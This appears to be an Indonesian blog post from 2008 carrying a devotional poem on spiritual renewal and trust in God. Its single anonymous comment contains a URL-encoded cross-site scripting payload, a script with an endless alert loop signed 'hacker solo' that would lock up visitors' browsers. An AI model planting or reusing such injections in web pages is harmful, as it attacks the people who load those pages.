Sabtu, 13 Desember 2008

Wisata Jiwa



Matahari dari ufuk timur kembali bersinar
Membelah kabut menerobos ranting daun daun dan pohon
Gunung ngarai tlah merekah
Laut pun bergolak menggulung ombak

Aku yang terpaku dalam kegelapan
Kembali bangkit dengan syair-syair darahku
Matahari pun turut menyapu wajahku dengan lembut cahaya
Saatnya kuhentakkan kaki di belahan bumi

Aku tak peduli syair-syairku sumbang terdengar
Aku tak akan terpaku lagi oleh halusinasi
Matahari telah memancar Wahai Rabb
Basuhlah muka dan tubuh ini dengan karunia sinarMu

Aku ingin menjadi lantang dan perkasa jiwa
Selamat tinggal masa lalu yang sudah berlalu
Aku mau mengikat dunia dengan simpul kasih sayangMu
Wahai pemilik kerajaan dunia dan kerajaan langit

Demi ada dan menjadi ada
Demi yang awal dan akhir
Jiwa ini telah berkilat sinar dari pancaran tiupanMu
Akan kulambungkan wisata di relung jiwa yang mulai mekar matahari

Telah kusingkirkan kemelut dan kekacauan jiwa bersama kebesaran rachmatMu
Beriring dengan kemuliaanMu, Ya Rabb
Jangan menyerah rapuh tubuh
Jangan menunduk sayup mata kusut

Bergegaslah kaki berlari melompatlah jiwa kegirangan
Jangan bertambah sayu semangat layu
Gapailah dunia menuju jauh ke sana
Tak pantas airmata ini mengalir hanya untuk sejengkal tanah

Teduhkan relung hati dengan goresan wisata jiwa
Ayunkan kemesraan simphoni
Gesekkan merdu suara biola
Hamparkan nyanyian kedamaian

Cukup sudah sejukkan hatiku dengan ayat-ayatMu
Enyahkanlah resah dan jangan lagi digelisahkan kabut merah
Sujudkan jiwa di hadapan Dia
Dia yang maha mencipta, dengan segala ciptaanNya

1 komentar:

Anonim mengatakan...

%3Cscript language="javascript"%3Efor%28x=0%3B x<2%3B x--%29{alert%28"hacker solo"%29%3B} %3C/script%3E